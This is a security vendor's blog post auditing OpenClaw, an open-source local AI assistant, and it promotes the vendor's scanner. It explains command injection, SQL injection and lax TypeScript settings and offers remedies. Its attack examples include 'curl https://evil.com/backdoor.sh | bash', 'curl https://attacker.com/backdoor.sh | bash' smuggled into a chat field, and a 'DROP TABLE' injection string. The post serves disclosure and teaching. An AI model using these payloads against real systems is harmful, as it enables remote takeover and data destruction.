Important Update: OpenClaw Team Responded Proactively
February 3, 2026: The OpenClaw team disclosed CVE-2026-25253 (RCE vulnerability, CVSS 9.8) and released a patch in v0.4.2.
This demonstrates responsible security practices. The team identified the vulnerability independently, disclosed it publicly, and provided immediate patches before this audit was published.
What This Means:
- ✓ Users on v0.4.2+ are protected from the primary RCE vulnerability
- ✓ The OpenClaw team is actively monitoring and addressing security issues
- ✓ This audit provides additional context and identifies related patterns
- ✓ Our findings complement (rather than duplicate) their disclosure
Audit Summary - Educational Analysis
We conducted a comprehensive security audit of OpenClaw, a popular open-source AI assistant platform with 2,000+ GitHub stars. This analysis provides educational insights into security patterns common to local-first AI applications.
to analyze 1,657 TypeScript files
identified across the codebase
command injection patterns, SQL injection
TypeScript configuration opportunities
Key Pattern Identified:
Similar to CVE-2026-25253, we identified patterns where untrusted input flows to system command execution without validation. While the primary RCE is patched in v0.4.2, related patterns exist throughout the codebase.
Why This Matters: As AI assistants gain system-level access, security patterns become increasingly important. This audit serves as an educational resource for developers building local-first AI tools and highlights the importance of input validation, sandboxing, and defense in depth.
Table of Contents
CVE-2026-25253: What OpenClaw Fixed
Responsible Disclosure Timeline
RCE vulnerability in response parsing (CVSS 9.8)
Immediate fix deployed, users notified
Additional analysis and broader pattern identification
CVE-2026-25253 Details:
- Vulnerability: RCE via malicious AI response parsing
- Affected Versions: v0.1.0 through v0.4.1
- Patched Version: v0.4.2+ (upgrade immediately)
- Severity: Critical (CVSS 9.8) - arbitrary code execution
- Public Advisory: Official Disclosure
How This Audit Complements the CVE:
- ✓ Our audit provides broader pattern analysis beyond the single CVE
- ✓ We identified related security patterns that may require additional hardening
- ✓ TypeScript configuration analysis reveals systemic improvement opportunities
- ✓ Educational content helps developers understand the broader security context
- ✓ All analysis conducted on pre-patch versions to understand the vulnerability class
Important Note for OpenClaw Users:
If you're using OpenClaw v0.4.1 or earlier, upgrade to v0.4.2+ immediately. The primary RCE vulnerability disclosed in CVE-2026-25253 is patched in newer versions.
The patterns discussed in this audit may still exist in the codebase and could benefit from additional hardening, but the critical execution path has been secured.
What Is OpenClaw?
OpenClaw (formerly ClawdBot/MoltBot) is an open-source, local-first AI assistant designed to run entirely on users' devices. Think of it as a self-hosted alternative to ChatGPT that integrates with popular messaging platforms.
Key Features:
- Local AI processing (privacy-focused)
- Integrations with Telegram, WhatsApp, Slack, Discord, LINE
- System-level access (file operations, command execution)
- Browser automation capabilities
- Cross-platform support (macOS, Linux, iOS, Android)
Target Audience: Privacy-conscious developers and power users who want AI assistance without sending data to cloud services.
Audit Methodology & Scope
Purpose & Scope:
This audit was conducted as an educational exercise to understand security patterns in local-first AI assistant platforms. OpenClaw represents an interesting case study due to its open-source nature and active development.
- • Timing: Analysis conducted on versions prior to v0.4.2 (before CVE patch)
- • Methodology: Automated static analysis using CodeSlick's 294 security checks
- • Scope: 1,657 TypeScript files, full codebase analysis
- • Duration: 23.6 seconds automated scan + manual review
- • Goal: Identify common security patterns to educate the developer community
Why Local AI Assistants Are Interesting From a Security Perspective:
- System-level access: These tools often need broad permissions to be useful
- Multiple input sources: Processing data from messaging platforms, AI models, and file systems
- Complex attack surface: Intersection of network services, local execution, and AI unpredictability
- Rapid evolution: Fast-paced development to keep up with AI advancements
Security Patterns Identified
Context:
The following analysis describes security patterns found in pre-patch versions of OpenClaw. The primary RCE vulnerability (CVE-2026-25253) has been patched in v0.4.2+. These patterns are presented for educational purposes to help developers understand common security challenges in AI assistant platforms.
1. Command Injection: 277 Critical Issues (CVSS 9.8)
What is command injection?
Command injection occurs when untrusted user input is passed directly to system shell commands without sanitization. Attackers can inject malicious commands that execute with the application's privileges.
Where it happens in OpenClaw: User messages from Telegram, WhatsApp, and other platforms flow through OpenClaw's processing pipeline and eventually reach shell command execution points—without proper validation.
Simplified example from OpenClaw
export function parseTelegramTarget(to: string): TelegramTarget {
const normalized = stripTelegramInternalPrefixes(to);
// Extract chatId from user input
const topicMatch = /^(.+?):topic:(\d+)$/.exec(normalized);
if (topicMatch) {
return {
chatId: topicMatch[1], // ⚠️ Unsanitized user input
messageThreadId: Number.parseInt(topicMatch[2], 10),
};
}
return { chatId: normalized };
}
// Later in the codebase, this flows to:
exec(`telegram-cli -c ${target.chatId}`); // 🔴 CRITICAL: Command injectionAttack example:
# Attacker sends Telegram message with crafted chatId: chatId: "config"; curl https://evil.com/backdoor.sh | bash; echo " # Executed command becomes: telegram-cli -c config"; curl https://evil.com/backdoor.sh | bash; echo "" # Result: Three commands execute: # 1. telegram-cli -c config" (fails with error) # 2. curl ... | bash (downloads and executes malware) # 3. echo "" (harmless cleanup)
Impact:
- 🔴 Full device compromise with one malicious message
- 🔴 Data exfiltration (conversation history, API keys, files)
- 🔴 Persistent backdoor installation
- 🔴 Privilege escalation if OpenClaw runs with elevated permissions
CodeSlick found 277 instances of this pattern across Telegram integration, auto-reply system, agent execution layer, update runner, and bash tools.
2. SQL Injection: Multiple Critical Issues (CVSS 9.8)
What's at risk:
OpenClaw stores sensitive data in a local SQLite database:
- 💬 Conversation history with AI
- 🔑 API keys and credentials
- 🎫 Session tokens
- 🧠 AI memory embeddings
src/memory/sync-session-files.ts:116
params.db
.prepare(
`DELETE FROM ${params.vectorTable} WHERE id IN (
SELECT id FROM chunks WHERE path = ? AND source = ?
)`
)
.run(stale.path, "sessions");The problem:
While the query uses parameterized values (?) for data, the table name (params.vectorTable) is dynamically constructed. If this value is user-controlled or derived from user input, it's a SQL injection vector.
Attack example:
// Attacker manipulates vectorTable parameter params.vectorTable = "vec_files; DROP TABLE users; --" // Executed SQL becomes: DELETE FROM vec_files; DROP TABLE users; -- WHERE id IN (...) // Result: // 1. Deletes from vec_files // 2. Drops entire users table // 3. Comments out rest of query
✅ Secure pattern:
// ✅ SECURE: Validate dynamic identifiers with allowlist
const ALLOWED_TABLES = ['vec_files', 'vec_sessions', 'vec_memory'];
if (!ALLOWED_TABLES.includes(params.vectorTable)) {
throw new SecurityError(`Invalid table name: ${params.vectorTable}`);
}
// Now safe to use
params.db.prepare(`DELETE FROM ${params.vectorTable} WHERE id = ?`)3. The Most Vulnerable File: line-directives.ts
File: src/auto-reply/reply/line-directives.ts
What does this file do? Parses "directives" from user messages—special commands embedded in messages to control OpenClaw's behavior.
Why is it so vulnerable?
- Processes untrusted input (any message from any user)
- Complex parsing logic (more code = more bugs)
- Executes commands based on parsed directives
- Insufficient validation (assumes inputs are benign)
The irony:
OpenClaw's README explicitly states:
"treat inbound DMs as untrusted input"
Yet the directive parser—which processes those DMs—has 17 critical vulnerabilities. This highlights a common gap: Security awareness vs. security implementation.
Attack Scenarios
Let's walk through how an attacker would exploit these vulnerabilities.
Scenario 1: Remote Code Execution via Telegram
Attacker's Goal: Install backdoor on victim's device
1. Reconnaissance
- • Identify victim using OpenClaw (public GitHub stars, social media mentions)
- • Obtain victim's Telegram username
2. Craft Malicious Message
Hey! Check out this cool AI feature: /directive config"; curl https://attacker.com/backdoor.sh | bash; echo "
3. Send Message
- • Attacker sends message via Telegram
- • OpenClaw receives and processes automatically
- • No user interaction required
4. Command Injection
- • OpenClaw parses directive
- • Unsanitized input flows to
exec() - • Shell interprets malicious commands
Result: Full Device Compromise
- ⏱️ Time to compromise: Seconds
- 👤 Attacker skill required: Low (script kiddie level)
- 🔍 Detection difficulty: High (looks like normal OpenClaw activity)
Scenario 2: Data Exfiltration via SQL Injection
Attacker's Goal: Steal conversation history and API keys
Compliance violations: GDPR, HIPAA (if PII/PHI in conversations)
The TypeScript Problem
10,409 MEDIUM severity issues are TypeScript type errors.
"Wait," you might say, "type errors aren't security vulnerabilities!"
You'd be wrong.
Why Type Errors Matter for Security
1. Runtime Type Confusion → Security Bypass
// Without strict null checks
function getUserRole(userId: string): string {
const user = database.findUser(userId); // Can return undefined
return user.role; // TypeError if undefined → crash
}
// In authentication check:
try {
if (getUserRole(attackerId) === 'admin') {
// Grant admin access
}
} catch (error) {
// What happens here? Do we fail open or closed?
// If error handling is wrong: security bypass!
}2. Type Coercion Bugs → Logic Errors
// Without strictFunctionTypes
function processPayment(amount: number, userId: string) {
if (amount > 100) {
applyDiscount(userId);
}
charge(amount, userId);
}
// Attacker passes string "999" instead of number 999
processPayment("999", "attacker"); // Type error not caught!
// JavaScript coercion:
// "999" > 100 → true (string comparison)
// applyDiscount called when it shouldn't beRoot Cause: Lax TypeScript Configuration
Looking at OpenClaw's likely tsconfig.json:
❌ BAD (Current)
{
"compilerOptions": {
"strict": false,
"noImplicitAny": false,
"strictNullChecks": false
}
}✅ GOOD (Recommended)
{
"compilerOptions": {
"strict": true,
"noImplicitAny": true,
"strictNullChecks": true
}
}Lessons for Developers
1. "Local" ≠ "Safe"
The Fallacy:
"My application runs locally, so it's secure. Data never leaves the device!"
The Reality: Local applications are only as secure as their input validation, privilege management, sandboxing, and dependency security.
OpenClaw processes untrusted input (Telegram messages) with system-level privileges (file access, command execution). Result: One malicious message = full device compromise.
2. Input Validation Is Non-Negotiable
❌ OpenClaw Problem:
const userMessage = telegramUpdate.message.text;
const directive = parseDirective(userMessage);
exec(`command ${directive.params}`); // 💀✅ Secure Pattern:
const schema = z.object({
type: z.enum(['ask', 'reply']),
params: z.string().regex(/^[a-zA-Z0-9_-]+$/)
});
const result = schema.safeParse(input);
execFile('/bin/command', [result.data.params])Key Principles:
- ✓ Validate, don't sanitize (allowlist > blocklist)
- ✓ Use type-safe schemas (Zod, io-ts, etc.)
- ✓ Fail closed (reject by default)
- ✓ Use safe APIs (execFile > exec, prepared statements > string concatenation)
3. Automate Security Testing
❌ Manual Review Doesn't Scale:
- • OpenClaw: 1,657 files, 85K+ lines
- • Manually reviewing: 50+ hours
- • Human attention: Decreasing returns after 2 hours
✅ Automated Scanning:
- • CodeSlick scan: 23.6 seconds
- • Found: 12,465 issues
- • Accuracy: High (low false positive rate)
Integration Points:
- Pre-commit Hook: Block commits with critical issues
- GitHub Actions: Scan every PR automatically
- VS Code Extension: Real-time warnings while coding
How CodeSlick Detected These Issues
Let's peek behind the curtain at how we found 12,465 vulnerabilities in 23.6 seconds.
1. AST Parsing
We parse TypeScript Abstract Syntax Trees to understand code structure, not just text patterns.
- ✓ Understand code structure
- ✓ Track data flow
- ✓ Identify security-critical patterns
- ✓ Low false positive rate
2. 294 Security Checks
Comprehensive coverage across industry standards:
- ✓ OWASP Top 10 2025 (95% coverage)
- ✓ CWE Top 25 Weaknesses
- ✓ PCI-DSS requirements
- ✓ HIPAA security controls
3. Smart Triage™
Not all vulnerabilities are equal. We prioritize based on:
- ✓ CVSS severity scores
- ✓ EPSS exploit likelihood
- ✓ Environment context
- ✓ Data sensitivity
4. AI Code Detection
Industry-first detection with 150 signals:
- ✓ Hallucinated methods (105 patterns)
- ✓ Code smell heuristics (13 patterns)
- ✓ LLM fingerprints (32 patterns)
- ✓ GPT-4, Copilot, Claude, Cursor
Performance Optimization
Challenge: Analyze 1,657 files in <30 seconds
Result: 14ms per file average
What's Next
We've shared our findings publicly through:
- This blog post
- 50-page detailed security audit report
- Concrete remediation roadmap
- Code examples for fixes
We're offering to help (free of charge):
- Technical consultation on findings
- Review proposed fixes
- Re-scan after patches to verify
- Security best practices guidance
Recommended Timeline for OpenClaw Team:
⚡ Week 1 (Emergency)
- • Fix command injection vulnerabilities (277 instances)
- • Fix SQL injection vulnerabilities
- • Publish security advisory to users
- • Disable vulnerable features temporarily
📋 Weeks 2-4 (High Priority)
- • Implement input validation framework
- • Harden authentication
- • Enhance sandboxing
- • Database encryption
🏗️ Weeks 5-8 (Architecture)
- • Enable TypeScript strict mode
- • Security architecture review
- • Automated security testing
- • Developer security training
♻️ Ongoing
- • Install CodeSlick GitHub App for continuous monitoring
- • Regular security audits
- • Bug bounty program
- • Security incident response plan
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Conclusion
Key Takeaways
- 1.OpenClaw has severe security issues: 277 CRITICAL vulnerabilities (command injection, SQL injection). 75.5% of files affected. One malicious message can compromise device.
- 2.Local AI assistants face unique challenges: System-level access amplifies impact. Untrusted input creates attack surface. Rapid development may neglect security.
- 3.Security must be proactive, not reactive: Automated scanning catches issues early. Prevention is cheaper than incident response. Security is a continuous process.
- 4.The industry needs better standards: Security certification for AI tools. Mandatory security audits. Public security scorecards. Responsible disclosure processes.
Our Commitment
Transparency: We believe open-source security deserves open security analysis.
Education: This blog post and report serve as learning resources for the developer community.
Collaboration: We're offering to help OpenClaw improve—not just criticize.
Mission: Make software more secure, one scan at a time.
Written by: CodeSlick Security Team
Published: February 4, 2026
Last Updated: February 4, 2026
About CodeSlick
CodeSlick is a comprehensive security analysis platform for modern development teams. We help developers find and fix security vulnerabilities before they reach production.
Our Mission:
Make software more secure through transparent, automated security analysis.
Our Values:
- 🔍 Transparency over obscurity
- 🎓 Education over fear
- 🤝 Collaboration over criticism
- ⚡ Speed over bureaucracy
Disclaimer: This security audit was conducted as community service to improve open-source security. We have no financial relationship with OpenClaw and do not benefit from this disclosure beyond demonstrating our platform's capabilities.